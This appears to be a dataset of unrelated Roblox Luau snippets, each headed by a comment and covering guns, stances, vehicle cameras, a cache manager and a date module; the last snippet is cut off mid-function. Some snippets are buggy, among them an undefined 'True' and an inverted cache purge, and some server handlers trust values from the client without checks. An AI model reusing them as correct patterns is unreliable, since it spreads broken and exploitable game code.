game.Workspace.doorleft.l43.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(106)
|
--Function of the repair button
|
repair.MouseButton1Down:connect(function()
if repairtwo == true then
repairtwo = false
local ff = Instance.new ("ForceField")
ff.Parent = sp
sp.Temporary:ClearAllChildren()
menudisappear()
disappearall()
click.MaxActivationDistance = 10
coverup()
wait(1)
ready = true
ff:Destroy()
for _,force in pairs(sp:GetChildren()) do
if force:IsA("ForceField") then
force:Destroy()
end
end
script.Fixer.Disabled = true
wait(5)
repairtwo = true
end
end)
|
--Main
|
local CacheManager: any = {}
CacheManager.__index = CacheManager
function CacheManager.new()
local self = setmetatable({}, CacheManager)
self.Cache = {}
self.CacheLimit = math.huge
self.Locked = false
self.CacheParent = workspace
return self
end
function CacheManager:SetCacheLimit(limit: number)
self.CacheLimit = math.max(limit, 1)
for _, cacheEntry: {[string]: any} in pairs(self.Cache) do
local cacheToPurge: number = math.max(0, self.CacheLimit - #cacheEntry.Cache)
if cacheToPurge > 0 then
for _ = 1, cacheToPurge do
cacheEntry.Cache[#cacheEntry.Cache]:Destroy()
cacheEntry.Cache[#cacheEntry.Cache] = nil
end
end
end
end
function CacheManager:Return(id: string, obj: Instance)
if self.Locked then
obj:Destroy()
return
end
if self.Cache[id] then
if #self.Cache[id].Cache < self.CacheLimit then
if obj:IsA("BasePart") then
obj.Anchored = true
elseif obj:IsA("Model") and obj.PrimaryPart then
obj.PrimaryPart.Anchored = true
end
--? Maybe i should use bulkmoveto instead of this
if obj:IsA("PVInstance") then
obj:PivotTo(farawayCFrame)
end
table.insert(self.Cache[id].Cache, obj)
else
obj:Destroy()
end
end
end
function CacheManager:Take(id: string)
if self.Locked then return end
if self.Cache[id] then
local storedNum: number = #self.Cache[id].Cache
if storedNum == 0 then
local obj: Instance = self.Cache[id].Original:Clone()
obj.Parent = self.CacheParent
return obj
else
local obj: Instance = self.Cache[id].Cache[storedNum]
self.Cache[id].Cache[storedNum] = nil
if obj:IsA("BasePart") then
obj.Anchored = false
elseif obj:IsA("Model") and obj.PrimaryPart then
obj.PrimaryPart.Anchored = false
end
return obj
end
end
end
function CacheManager:Register(id: string, obj: Instance)
if self.Locked then
obj:Destroy()
return
end
if not self.Cache[id] then
self.Cache[id] = {
Cache = {},
Original = obj
}
end
end
function CacheManager:Destroy(): ()
self.Locked = true
local _, cacheEntry: {[string]: Instance | {Instance}} = next(self.Cache)
repeat
cacheEntry.Original:Destroy()
repeat
cacheEntry.Cache[#cacheEntry.Cache]:Destroy()
cacheEntry.Cache[#cacheEntry.Cache] = nil
until #cacheEntry.Cache == 0
_, cacheEntry = next(self.Cache)
until cacheEntry == nil
self.Cache = nil
self = nil
end
return CacheManager
|
----------//Gun System\\----------
|
local L_199_ = nil
char.ChildAdded:connect(function(Tool)
if Tool:IsA('Tool') and Humanoid.Health > 0 and not ToolEquip and Tool:FindFirstChild("ACS_Settings") ~= nil and (require(Tool.ACS_Settings).Type == 'Gun' or require(Tool.ACS_Settings).Type == 'Melee' or require(Tool.ACS_Settings).Type == 'Grenade') then
local L_370_ = true
if char:WaitForChild('Humanoid').Sit and char.Humanoid.SeatPart:IsA("VehicleSeat") or char:WaitForChild('Humanoid').Sit and char.Humanoid.SeatPart:IsA("VehicleSeat") then
L_370_ = false;
end
if L_370_ then
L_199_ = Tool
if not ToolEquip then
--pcall(function()
setup(Tool)
--end)
elseif ToolEquip then
pcall(function()
unset()
setup(Tool)
end)
end;
end;
end
end)
char.ChildRemoved:connect(function(Tool)
if Tool == WeaponTool then
if ToolEquip then
unset()
end
end
end)
Humanoid.Running:Connect(function(speed)
charspeed = speed
if speed > 0.1 then
running = true
else
running = false
end
end)
Humanoid.Swimming:Connect(function(speed)
if Swimming then
charspeed = speed
if speed > 0.1 then
running = true
else
running = false
end
end
end)
Humanoid.Died:Connect(function(speed)
TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()
ChangeStance = false
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
Equipped = 0
unset()
Evt.NVG:Fire(false)
end)
Humanoid.Seated:Connect(function(IsSeated, Seat)
if IsSeated and Seat and (Seat:IsA("VehicleSeat")) then
unset()
Humanoid:UnequipTools()
CanLean = false
plr.CameraMaxZoomDistance = gameRules.VehicleMaxZoom
else
plr.CameraMaxZoomDistance = game.StarterPlayer.CameraMaxZoomDistance
end
if IsSeated then
Sentado = true
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Stand()
Lean()
else
Sentado = false
CanLean = true
end
end)
Humanoid.Changed:connect(function(Property)
if gameRules.AntiBunnyHop then
if Property == "Jump" and Humanoid.Sit == true and Humanoid.SeatPart ~= nil then
Humanoid.Sit = false
elseif Property == "Jump" and Humanoid.Sit == false then
if JumpDelay then
Humanoid.Jump = false
return false
end
JumpDelay = true
delay(0, function()
wait(gameRules.JumpCoolDown)
JumpDelay = false
end)
end
end
end)
Humanoid.StateChanged:connect(function(Old,state)
if state == Enum.HumanoidStateType.Swimming then
Swimming = true
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Stand()
Lean()
else
Swimming = false
end
if gameRules.EnableFallDamage then
if state == Enum.HumanoidStateType.Freefall and not falling then
falling = true
local curVel = 0
local peak = 0
while falling do
curVel = HumanoidRootPart.Velocity.magnitude
peak = peak + 1
Thread:Wait()
end
local damage = (curVel - (gameRules.MaxVelocity)) * gameRules.DamageMult
if damage > 5 and peak > 20 then
local SKP_02 = SKP_01.."-"..plr.UserId
cameraspring:accelerate(Vector3.new(-damage/20, 0, math.random(-damage, damage)/5))
SwaySpring:accelerate(Vector3.new( math.random(-damage, damage)/5, damage/5,0))
local hurtSound = PastaFx.FallDamage:Clone()
hurtSound.Parent = plr.PlayerGui
hurtSound.Volume = damage/Humanoid.MaxHealth
hurtSound:Play()
Debris:AddItem(hurtSound,hurtSound.TimeLength)
Evt.Damage:InvokeServer(nil, nil, nil, nil, nil, nil, true, damage, SKP_02)
end
elseif state == Enum.HumanoidStateType.Landed or state == Enum.HumanoidStateType.Dead then
falling = false
SwaySpring:accelerate(Vector3.new(0, 2.5, 0))
end
end
end)
mouse.WheelBackward:Connect(function() -- fires when the wheel goes forwards
if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then
mouse1down = false
if GunStance == 0 then
SafeMode = true
GunStance = -1
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
LowReady()
elseif GunStance == -1 then
SafeMode = true
GunStance = -2
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
Patrol()
elseif GunStance == 1 then
SafeMode = false
GunStance = 0
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
if ToolEquip and aimming and Sens > 5 then
Sens = Sens - 5
UpdateGui()
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
end
end)
mouse.WheelForward:Connect(function() -- fires when the wheel goes backwards
if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then
mouse1down = false
if GunStance == 0 then
SafeMode = true
GunStance = 1
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
HighReady()
elseif GunStance == -1 then
SafeMode = false
GunStance = 0
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
elseif GunStance == -2 then
SafeMode = true
GunStance = -1
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
LowReady()
end
end
if ToolEquip and aimming and Sens < 100 then
Sens = Sens + 5
UpdateGui()
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
end
end)
script.Parent:GetAttributeChangedSignal("Injured"):Connect(function()
local valor = script.Parent:GetAttribute("Injured")
if valor and runKeyDown then
runKeyDown = false
Stand()
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
if Stances == 0 then
Stand()
elseif Stances == 1 then
Crouch()
end
end)
|
-------------------------------------------
|
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(90),0,0)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
|
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["JestFakeTimers"]["JestFakeTimers"])
export type FakeTimers = Package.FakeTimers
return Package
|
--[[Brakes]]
|
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 3000 -- Front brake force
Tune.RBrakeForce = 2500 -- Rear brake force
Tune.PBrakeForce = 100000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--[[
[Whether the whole character turns to face the mouse.]
[If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0]
--]]
|
local TurnCharacterToMouse = True
|
--[[
-- Time functions
-- @author Narrev
This module can be called like so:
timeModule = require(331894616)
timeModule.Date() --> returns (year, month, days) @ timestamp tick()
timeModule.Date(seconds) --> returns (year, month, days) @ seconds after epoch time
timeModule.Time() --> returns (hours, minutes, seconds) @ timestamp tick()
timeModule.Time(seconds) --> returns (hours, minutes, seconds) @ seconds after epoch time
--]]
|
local floor, ceil = math.floor, math.ceil
local function isLeapYear(year)
return year % 4 == 0 and (year % 25 ~= 0 or year % 16 == 0)
end
local function GetLeaps(year)
return floor(year/4) - floor(year/100) + floor(year/400)
end
local function CountDays(year)
return 365*year + GetLeaps(year)
end
local function CountDays2(year)
return 365*year + GetLeaps(year - 1)
end
local function overflow(array, seed)
for i = 1, #array do
if seed - array[i] <= 0 then
return i, seed
end
seed = seed - array[i]
end
end
local function GetYMDFromSeconds(seconds)
local seconds = seconds or tick()
local days = ceil((seconds + 1) / 86400) + CountDays(1970)
local _400Years = 400*floor(days / CountDays(400))
local _100Years = 100*floor(days % CountDays(400) / CountDays(100))
local _4Years = 4*floor(days % CountDays(400) % CountDays(100) / CountDays(4))
local _1Years, month
_1Years, days = overflow({366,365,365,365}, days - CountDays2(_4Years + _100Years + _400Years))
_1Years = _1Years - 1
local year = _1Years + _4Years + _100Years + _400Years
month, days = overflow({31,isLeapYear(year) and 29 or 28,31,30,31,30,31,31,30,31,30,31}, days)
return year, month, days
end
local function GetTimeFromSeconds(seconds)
local hours = floor(seconds / 3600 % 24)
local minutes = floor(seconds / 60 % 60)
local seconds = floor(seconds % 60)
return hours, minutes, seconds
end
return {Date = GetYMDFromSeconds, Time = GetTimeFromSeconds}
|
--[=[
Observes a link value that is not nil.
@param linkName string
@param parent Instance
@return Brio<Instance>
]=]
|
function RxLinkUtils.observeLinkValueBrio(linkName, parent)
assert(type(linkName) == "string", "linkName should be 'string'")
assert(typeof(parent) == "Instance", "parent should be 'Instance'")
return RxInstanceUtils.observeChildrenOfNameBrio(parent, "ObjectValue", linkName)
:Pipe({
RxBrioUtils.flatMapBrio(function(instance)
return RxInstanceUtils.observePropertyBrio(instance, "Value", function(value)
return value ~= nil
end)
end)
})
end
|
--local Player
--local Character
--local Humanoid
|
local Module = require(Tool:WaitForChild("Setting"))
local ChangeMagAndAmmo = script:WaitForChild("ChangeMagAndAmmo")
local Grip2
local Handle2
local CoolDown = false
local func= Tool.Events.punched
function CoolDown2()
wait(0.01)
CoolDown = false
end
func.OnServerInvoke = function(plr, hum, dmg, tor)
if not CoolDown then
CoolDown = true
Tool.Handle.Whip:Play()
Tool.Assets.BloodPart.Blood:Emit(1.3)
hum.Parent.Humanoid:TakeDamage(15)
CoolDown2()
end
end
function Equip()
Tool.Barrel.Transparency = 0
Tool.BarrelOut.Transparency = 1
Tool.Handle.Transparency = 0
Tool.Part2.Transparency = 1
Tool.Part3.Transparency = 1
Tool.Part24.Transparency = 1
Tool.Part6.Transparency = 1
Tool.Part4.Transparency = 1
Tool.Part2.Transparency = 1
Tool.Shells.Transparency = 1
Tool.Trigger.Transparency = 1
wait(0.2)
Tool.Barrel.Transparency = 0
Tool.BarrelOut.Transparency = 1
Tool.Handle.Transparency = 0
Tool.Part2.Transparency = 0
Tool.Part3.Transparency = 0
Tool.Part24.Transparency = 0
Tool.Part6.Transparency = 0
Tool.Part4.Transparency = 0
Tool.Part2.Transparency = 0
Tool.Shells.Transparency = 1
Tool.Trigger.Transparency = 0
wait(0.42)
Tool.Handle.EquipSound:play()
end
if Module.DualEnabled then
Handle2 = Tool:WaitForChild("Handle2",1)
if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end
end
local MagValue = script:FindFirstChild("Mag") or Instance.new("NumberValue",script)
MagValue.Name = "Mag"
MagValue.Value = Module.AmmoPerMag
local AmmoValue = script:FindFirstChild("Ammo") or Instance.new("NumberValue",script)
AmmoValue.Name = "Ammo"
AmmoValue.Value = Module.LimitedAmmoEnabled and Module.Ammo or 0
if Module.IdleAnimationID ~= nil or Module.DualEnabled then
local IdleAnim = Instance.new("Animation",Tool)
IdleAnim.Name = "IdleAnim"
IdleAnim.AnimationId = "rbxassetid://"..(Module.DualEnabled and 53610688 or Module.IdleAnimationID)
end
if Module.FireAnimationID ~= nil then
local FireAnim = Instance.new("Animation",Tool)
FireAnim.Name = "FireAnim"
FireAnim.AnimationId = "rbxassetid://"..Module.FireAnimationID
end
if Module.ReloadAnimationID ~= nil then
local ReloadAnim = Instance.new("Animation",Tool)
ReloadAnim.Name = "ReloadAnim"
ReloadAnim.AnimationId = "rbxassetid://"..Module.ReloadAnimationID
end
if Module.ShotgunClipinAnimationID ~= nil then
local ShotgunClipinAnim = Instance.new("Animation",Tool)
ShotgunClipinAnim.Name = "ShotgunClipinAnim"
ShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.ShotgunClipinAnimationID
end
if Module.HoldDownAnimationID ~= nil then
local HoldDownAnim = Instance.new("Animation",Tool)
HoldDownAnim.Name = "HoldDownAnim"
HoldDownAnim.AnimationId = "rbxassetid://"..Module.HoldDownAnimationID
end
if Module.EquippedAnimationID ~= nil then
local EquippedAnim = Instance.new("Animation",Tool)
EquippedAnim.Name = "EquippedAnim"
EquippedAnim.AnimationId = "rbxassetid://"..Module.EquippedAnimationID
end
ChangeMagAndAmmo.OnServerEvent:connect(function(Player,Mag,Ammo)
MagValue.Value = Mag
AmmoValue.Value = Ammo
end)
Tool.Equipped:connect(function()
Equip()
--Player = game.Players:GetPlayerFromCharacter(Tool.Parent)
--Character = Tool.Parent
--Humanoid = Character:FindFirstChild("Humanoid")
if Module.DualEnabled and workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand")
local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip",0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:connect(function()
Tool.Barrel.Transparency = 1
Tool.BarrelOut.Transparency = 1
Tool.Handle.Transparency = 1
Tool.Part2.Transparency = 1
Tool.Part3.Transparency = 1
Tool.Part24.Transparency = 1
Tool.Part6.Transparency = 1
Tool.Part4.Transparency = 1
Tool.Part2.Transparency = 1
Tool.Shells.Transparency = 1
Tool.Trigger.Transparency = 1
if Module.DualEnabled and workspace.FilteringEnabled then
Handle2.CanCollide = false
if Grip2 then Grip2:Destroy() end
end
end)
|
--Lib.Script.setWaterState(Lib.Map._Water1, "lava")
--wait(3)
| |
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Money.Gold.Value < 30
end
|
--!native
|
local CameraModule = {}
local Mouse = game.Players.LocalPlayer:GetMouse()
local UserInput = game:GetService("UserInputService")
|
-- track physics solver time delta separately from the render loop to correctly synchronize time delta
|
local worldDt = 1/60
RunService.Stepped:Connect(function(_, _worldDt)
worldDt = _worldDt
end)
local VehicleCamera = setmetatable({}, BaseCamera)
VehicleCamera.__index = VehicleCamera
function VehicleCamera.new()
local self = setmetatable(BaseCamera.new(), VehicleCamera)
self:Reset()
return self
end
function VehicleCamera:Reset()
self.vehicleCameraCore = VehicleCameraCore.new(self:GetSubjectCFrame())
self.pitchSpring = Spring.new(0, -math.rad(VehicleCameraConfig.pitchBaseAngle))
self.yawSpring = Spring.new(0, YAW_DEFAULT)
self.lastPanTick = 0
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
assert(camera)
assert(cameraSubject)
assert(cameraSubject:IsA("VehicleSeat"))
local assemblyParts = cameraSubject:GetConnectedParts(true) -- passing true to recursively get all assembly parts
local assemblyPosition, assemblyRadius = CameraUtils.getLooseBoundingSphere(assemblyParts)
assemblyRadius = math.max(assemblyRadius, EPSILON)
self.assemblyRadius = assemblyRadius
self.assemblyOffset = cameraSubject.CFrame:Inverse()*assemblyPosition -- seat-space offset of the assembly bounding sphere center
self:_StepInitialZoom()
end
function VehicleCamera:_StepInitialZoom()
self:SetCameraToSubjectDistance(math.max(
ZoomController.GetZoomRadius(),
self.assemblyRadius*VehicleCameraConfig.initialZoomRadiusMul
))
end
function VehicleCamera:_StepRotation(dt, vdotz)
local yawSpring = self.yawSpring
local pitchSpring = self.pitchSpring
local rotationInput = CameraInput.getRotation(true)
local dYaw = -rotationInput.X
local dPitch = -rotationInput.Y
yawSpring.pos = sanitizeAngle(yawSpring.pos + dYaw)
pitchSpring.pos = sanitizeAngle(math.clamp(pitchSpring.pos + dPitch, -PITCH_LIMIT, PITCH_LIMIT))
if CameraInput.getRotationActivated() then
self.lastPanTick = os.clock()
end
local pitchBaseAngle = -math.rad(VehicleCameraConfig.pitchBaseAngle)
local pitchDeadzoneAngle = math.rad(VehicleCameraConfig.pitchDeadzoneAngle)
if os.clock() - self.lastPanTick > VehicleCameraConfig.autocorrectDelay then
-- adjust autocorrect response based on forward velocity
local autocorrectResponse = mapClamp(
vdotz,
VehicleCameraConfig.autocorrectMinCarSpeed,
VehicleCameraConfig.autocorrectMaxCarSpeed,
0,
VehicleCameraConfig.autocorrectResponse
)
yawSpring.freq = autocorrectResponse
pitchSpring.freq = autocorrectResponse
-- zero out response under a threshold
if yawSpring.freq < EPSILON then
yawSpring.vel = 0
end
if pitchSpring.freq < EPSILON then
pitchSpring.vel = 0
end
if math.abs(sanitizeAngle(pitchBaseAngle - pitchSpring.pos)) <= pitchDeadzoneAngle then
-- do nothing within the deadzone
pitchSpring.goal = pitchSpring.pos
else
pitchSpring.goal = pitchBaseAngle
end
else
yawSpring.freq = 0
yawSpring.vel = 0
pitchSpring.freq = 0
pitchSpring.vel = 0
pitchSpring.goal = pitchBaseAngle
end
return CFrame.fromEulerAnglesYXZ(
pitchSpring:step(dt),
yawSpring:step(dt),
0
)
end
function VehicleCamera:_GetThirdPersonLocalOffset()
return self.assemblyOffset + Vector3.new(0, self.assemblyRadius*VehicleCameraConfig.verticalCenterOffset, 0)
end
function VehicleCamera:_GetFirstPersonLocalOffset(subjectCFrame)
local character = localPlayer.Character
if character and character.Parent then
local head = character:FindFirstChild("Head")
if head and head:IsA("BasePart") then
return subjectCFrame:Inverse()*head.Position
end
end
return self:_GetThirdPersonLocalOffset()
end
function VehicleCamera:Update()
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
local vehicleCameraCore = self.vehicleCameraCore
assert(camera)
assert(cameraSubject)
assert(cameraSubject:IsA("VehicleSeat"))
-- consume the physics solver time delta to account for mismatched physics/render cycles
local dt = worldDt
worldDt = 0
-- get subject info
local subjectCFrame = self:GetSubjectCFrame()
local subjectVel = self:GetSubjectVelocity()
local subjectRotVel = self:GetSubjectRotVelocity()
-- measure the local-to-world-space forward velocity of the vehicle
local vDotZ = math.abs(subjectVel:Dot(subjectCFrame.ZVector))
local yawVel = yawVelocity(subjectRotVel, subjectCFrame)
local pitchVel = pitchVelocity(subjectRotVel, subjectCFrame)
-- step camera components forward
local zoom = self:StepZoom()
local objectRotation = self:_StepRotation(dt, vDotZ)
-- mix third and first person offsets in local space
local firstPerson = mapClamp(zoom, ZOOM_MINIMUM, self.assemblyRadius, 1, 0)
local tpOffset = self:_GetThirdPersonLocalOffset()
local fpOffset = self:_GetFirstPersonLocalOffset(subjectCFrame)
local localOffset = tpOffset:Lerp(fpOffset, firstPerson)
-- step core forward
vehicleCameraCore:setTransform(subjectCFrame)
local processedRotation = vehicleCameraCore:step(dt, pitchVel, yawVel, firstPerson)
-- calculate final focus & cframe
local focus = CFrame.new(subjectCFrame*localOffset)*processedRotation*objectRotation
local cf = focus*CFrame.new(0, 0, zoom)
return cf, focus
end
function VehicleCamera:ApplyVRTransform()
-- no-op override; VR transform is not applied in vehicles
end
function VehicleCamera:EnterFirstPerson()
self.inFirstPerson = true
self:UpdateMouseBehavior()
end
function VehicleCamera:LeaveFirstPerson()
self.inFirstPerson = false
self:UpdateMouseBehavior()
end
return VehicleCamera
|
--viridian 6
|
if k == "v" and ibo.Value==true then
bin.Blade.BrickColor = BrickColor.new("Pastel green")
bin.Blade2.BrickColor = BrickColor.new("Institutional white")
bin.Blade.White.Enabled=false colorbin.white.Value = false
bin.Blade.Blue.Enabled=false colorbin.blue.Value = false
bin.Blade.Green.Enabled=false colorbin.green.Value = false
bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false
bin.Blade.Orange.Enabled=false colorbin.orange.Value = false
bin.Blade.Viridian.Enabled=true colorbin.viridian.Value = true
bin.Blade.Violet.Enabled=false colorbin.violet.Value = false
bin.Blade.Red.Enabled=false colorbin.red.Value = false
bin.Blade.Silver.Enabled=false colorbin.silver.Value = false
bin.Blade.Black.Enabled=false colorbin.black.Value = false
bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false
bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false
bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false
end
|
-- Directions of movement for each handle's dragged face
|
local AxisMultipliers = {
[Enum.NormalId.Top] = Vector3.new(0, 1, 0);
[Enum.NormalId.Bottom] = Vector3.new(0, -1, 0);
[Enum.NormalId.Front] = Vector3.new(0, 0, -1);
[Enum.NormalId.Back] = Vector3.new(0, 0, 1);
[Enum.NormalId.Left] = Vector3.new(-1, 0, 0);
[Enum.NormalId.Right] = Vector3.new(1, 0, 0);
};
function AttachHandles(Part, Autofocus)
-- Creates and attaches handles to `Part`, and optionally automatically attaches to the focused part
-- Enable autofocus if requested and not already on
if Autofocus and not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:connect(function ()
AttachHandles(Selection.Focus, true);
end);
-- Disable autofocus if not requested and on
elseif not Autofocus and Connections.AutofocusHandle then
ClearConnection 'AutofocusHandle';
end;
-- Just attach and show the handles if they already exist
if Handles then
Handles.Adornee = Part;
Handles.Visible = true;
Handles.Parent = Part and Core.UIContainer or nil;
return;
end;
-- Create the handles
Handles = Create 'Handles' {
Name = 'BTMovementHandles';
Color = MoveTool.Color;
Parent = Core.UIContainer;
Adornee = Part;
};
------------------------------------------------------
-- Prepare for moving parts when the handle is clicked
------------------------------------------------------
local AreaPermissions;
Handles.MouseButton1Down:connect(function ()
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate dragging via handles
HandleDragging = true;
-- Freeze bounding box extents while dragging
if BoundingBox.GetBoundingBox() then
InitialExtentsSize, InitialExtentsCFrame = BoundingBox.CalculateExtents(Core.Selection.Items, BoundingBox.StaticExtents);
BoundingBox.PauseMonitoring();
end;
-- Stop parts from moving, and capture the initial state of the parts
InitialState = PreparePartsForDragging();
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player);
end;
end);
------------------------------------------
-- Update parts when the handles are moved
------------------------------------------
Handles.MouseDrag:connect(function (Face, Distance)
-- Only drag if handle is enabled
if not HandleDragging then
return;
end;
-- Calculate the increment-aligned drag distance
Distance = GetIncrementMultiple(Distance, MoveTool.Increment);
-- Move the parts along the selected axes by the calculated distance
MovePartsAlongAxesByFace(Face, Distance, MoveTool.Axes, Selection.Focus, InitialState);
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then
Selection.Focus.CFrame = InitialState[Selection.Focus].CFrame;
TranslatePartsRelativeToPart(Selection.Focus, InitialState);
Distance = 0;
end;
-- Update the "distance moved" indicator
if MoveTool.UI then
MoveTool.UI.Changes.Text.Text = 'moved ' .. math.abs(Distance) .. ' studs';
end;
-- Update bounding box if enabled in global axes movements
if MoveTool.Axes == 'Global' and BoundingBox.GetBoundingBox() then
BoundingBox.GetBoundingBox().CFrame = InitialExtentsCFrame + (AxisMultipliers[Face] * Distance);
end;
end);
end;
|
-- Initialize
|
StarterGui.ResetPlayerGuiOnSpawn = false
local MapPurgeProof = workspace:FindFirstChild('MapPurgeProof')
if not MapPurgeProof then
MapPurgeProof = Instance.new('Folder')
MapPurgeProof.Parent = workspace
MapPurgeProof.Name = 'MapPurgeProof'
end
|
--// Stances
|
function Prone()
UpdateAmmo()
L_115_:FireServer("Prone")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -3, 0)
}):Play()
L_3_:WaitForChild("Humanoid").WalkSpeed = 4
L_157_ = 0.01
L_158_ = 4
L_65_ = true
Proned2 = Vector3.new(0, 0.5, 0.5)
L_133_(L_9_, CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_288_arg1)
return math.sin(math.rad(L_288_arg1))
end, 0.25)
L_133_(L_10_, CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_289_arg1)
return math.sin(math.rad(L_289_arg1))
end, 0.25)
L_133_(L_11_, CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_290_arg1)
return math.sin(math.rad(L_290_arg1))
end, 0.25)
end
function Stand()
UpdateAmmo()
L_115_:FireServer("Stand")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, 0, 0)
}):Play()
L_65_ = false
if not L_64_ then
L_3_:WaitForChild("Humanoid").WalkSpeed = 16
L_157_ = 0.09
L_158_ = 11
elseif L_64_ then
L_157_ = 0.015
L_158_ = 7
L_3_:WaitForChild("Humanoid").WalkSpeed = 7
end
Proned2 = Vector3.new(0, 0, 0)
L_133_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_291_arg1)
return math.sin(math.rad(L_291_arg1))
end, 0.25)
L_133_(L_10_, CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_292_arg1)
return math.sin(math.rad(L_292_arg1))
end, 0.25)
L_133_(L_11_, CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_293_arg1)
return math.sin(math.rad(L_293_arg1))
end, 0.25)
end
function Crouch()
UpdateAmmo()
L_115_:FireServer("Crouch")
L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
CameraOffset = Vector3.new(0, -1, 0)
}):Play()
L_3_:WaitForChild("Humanoid").WalkSpeed = 9
L_157_ = 0.015
L_158_ = 9
L_65_ = true
Proned2 = Vector3.new(0, 0, 0)
L_133_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_294_arg1)
